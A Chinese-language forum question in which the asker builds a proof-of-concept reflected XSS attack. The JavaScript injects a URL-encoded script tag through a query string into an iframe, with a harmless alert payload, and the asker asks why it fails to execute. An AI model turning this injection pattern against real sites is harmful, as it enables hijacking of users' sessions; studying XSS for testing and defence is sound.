我正在尝试针对(非恶意)概念证明实施简单的XSS攻击,并且遇到了一些问题。目标是填充表单并在iframe中提交。
function grab() {
alert('yess');
};
function makeLink() {
return "http://mysite.com/?" + encodeURIComponent("<script" + ">" + grab.toString() +
";grab();</script" + ">");
// returns "http://mysite.com/?%3Cscript%3Efunction%20grab()%20%7B%0A%20%20%20%20alert('yess')%3B%0A%7D%3Bgrab()%3B%3C%2Fscript%3E"
}
var iframe = document.createElement('iframe');
iframe.src = makeLink(xssdefense, target, attacker);
iframe.height = 600;
iframe.width = 800;
// not sure if I need this line, but un-commenting doesn't seem to change anything.
// iframe.sandbox = "allow-scripts allow-same-origin allow-forms"
document.body.appendChild(iframe);
理想情况下,当打开这个html文件时,注入了javascript的iframe就会坐在那里。在控制台调查时,在主窗口中定义并调用了grab(),但是在框架中没有,这让我很困惑。
无论如何,任何帮助表示赞赏。非常感谢!